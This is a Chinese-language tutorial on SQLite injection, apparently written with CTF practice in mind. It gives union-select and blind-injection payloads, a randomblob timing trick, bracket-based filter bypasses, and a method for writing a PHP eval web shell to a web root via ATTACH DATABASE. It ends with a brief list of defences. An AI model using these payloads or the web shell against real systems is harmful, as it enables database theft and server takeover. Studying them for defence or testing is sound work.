sqlite注入的一点总结
字数 778 2025-08-10 08:28:21

SQLite注入全面指南

1. SQLite基础

1.1 数据库操作

  • 创建数据库: sqlite3 test.db 命令会在当前目录生成数据库文件
  • 打开数据库: .open sqltest.db
  • 导入导出:
    # 导出
    $ sqlite3 testDB.db .dump > testDB.sql
    # 导入
    $ sqlite3 testDB.db < testDB.sql
    

1.2 表操作

  • 创建表:
    CREATE TABLE test (
      id INT PRIMARY KEY NOT NULL,
      name char(50) NOT NULL
    );
    
  • 查看表:
    • .tables - 列出所有表
    • .schema test - 查看表结构

1.3 数据操作

  • 插入数据:
    INSERT INTO test (id, name) VALUES (1, 'alice');
    
  • 查询数据:
    SELECT * FROM test;
    SELECT name FROM test;
    

1.4 格式化输出

.header on
.mode column
.timer on

2. SQLite系统表

2.1 sqlite_master表

  • 结构:
    CREATE TABLE sqlite_master (
      type text,
      name text,
      tbl_name text,
      rootpage integer,
      sql text
    );
    
  • 查询表名:
    SELECT tbl_name FROM sqlite_master WHERE type = 'table';
    
  • 获取表结构:
    SELECT sql FROM sqlite_master WHERE type = 'table';
    

3. SQLite注入技术

3.1 联合查询注入

  • 确定字段数:
    1' ORDER BY 3;
    1' ORDER BY 4;
    
  • 基本联合查询:
    0' UNION SELECT 1,2,3;
    
  • 查询版本:
    0' UNION SELECT 1,2,sqlite_version();
    
  • 获取表结构:
    0' UNION SELECT 1,2,sql FROM sqlite_master;
    0' UNION SELECT 1,2,sql FROM sqlite_master WHERE type='table';
    
  • 使用GROUP_CONCAT聚合结果:
    0' UNION SELECT 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%';
    
  • 使用LIMIT和OFFSET:
    0' UNION SELECT 1,2,tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 2 OFFSET 1;
    

3.2 盲注技术

布尔盲注

  • 判断版本长度:
    SELECT * FROM test WHERE id=1 AND length(sqlite_version())=5;
    
  • 判断版本字符:
    SELECT * FROM test WHERE id=1 AND substr(sqlite_version(),1,1)='3';
    

时间盲注

  • SQLite没有sleep()函数,但可以使用randomblob()制造延迟:
    SELECT * FROM test WHERE id=1 AND 1=(CASE WHEN(substr(sqlite_version(),1,1)='3') THEN randomblob(1000000000) ELSE 0 END);
    

3.3 写Shell技术

  • 使用ATTACH DATABASE创建新数据库文件:
    ATTACH DATABASE '/var/www/html/shell.php' AS shell;
    CREATE TABLE shell.exp (payload text);
    INSERT INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]);?>');
    

4. 高级注入技巧

4.1 绕过过滤

  • 使用[]代替反引号:
    t AS SELECT sql [abc] FROM sqlite_master;
    
    等价于:
    t AS SELECT sql FROM sqlite_master;
    

4.2 创建表注入

  • 通过表名、列名和类型构造注入:
    CREATE TABLE t AS SELECT sql [ (example1 TEXT, example2 TEXT, abc] FROM sqlite_master;);
    
    实际执行:
    CREATE TABLE t AS SELECT sql FROM sqlite_master;
    

5. 实战案例

5.1 获取flag

  • 已知flag表名和列名后:
    t AS SELECT flag_ThE_C0lumn [abc] FROM flag_Y0U_c4nt_GUESS;
    

5.2 格式化列名输出

SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(
  substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1))
  ,"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),
  "NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",'')
FROM sqlite_master WHERE type='table' AND name='user_data';

6. 防御措施

  1. 使用参数化查询
  2. 对用户输入进行严格过滤
  3. 限制数据库用户权限
  4. 避免直接拼接SQL语句
  5. 使用ORM框架

7. 总结

SQLite注入与其他数据库注入原理相似,但有其特有的函数和特性:

  • 系统表sqlite_master是关键突破口
  • 缺少传统数据库的某些函数(如sleep),但有替代方案(randomblob)
  • 反引号可用[]替代绕过过滤
  • 通过创建表的方式可以执行任意查询
SQLite注入全面指南 1. SQLite基础 1.1 数据库操作 创建数据库 : sqlite3 test.db 命令会在当前目录生成数据库文件 打开数据库 : .open sqltest.db 导入导出 : 1.2 表操作 创建表 : 查看表 : .tables - 列出所有表 .schema test - 查看表结构 1.3 数据操作 插入数据 : 查询数据 : 1.4 格式化输出 2. SQLite系统表 2.1 sqlite_ master表 结构: 查询表名 : 获取表结构 : 3. SQLite注入技术 3.1 联合查询注入 确定字段数 : 基本联合查询 : 查询版本 : 获取表结构 : 使用GROUP_ CONCAT聚合结果 : 使用LIMIT和OFFSET : 3.2 盲注技术 布尔盲注 判断版本长度 : 判断版本字符 : 时间盲注 SQLite没有sleep()函数,但可以使用randomblob()制造延迟: 3.3 写Shell技术 使用ATTACH DATABASE创建新数据库文件: 4. 高级注入技巧 4.1 绕过过滤 使用 [] 代替反引号: 等价于: 4.2 创建表注入 通过表名、列名和类型构造注入: 实际执行: 5. 实战案例 5.1 获取flag 已知flag表名和列名后: 5.2 格式化列名输出 6. 防御措施 使用参数化查询 对用户输入进行严格过滤 限制数据库用户权限 避免直接拼接SQL语句 使用ORM框架 7. 总结 SQLite注入与其他数据库注入原理相似,但有其特有的函数和特性: 系统表 sqlite_master 是关键突破口 缺少传统数据库的某些函数(如sleep),但有替代方案(randomblob) 反引号可用 [] 替代绕过过滤 通过创建表的方式可以执行任意查询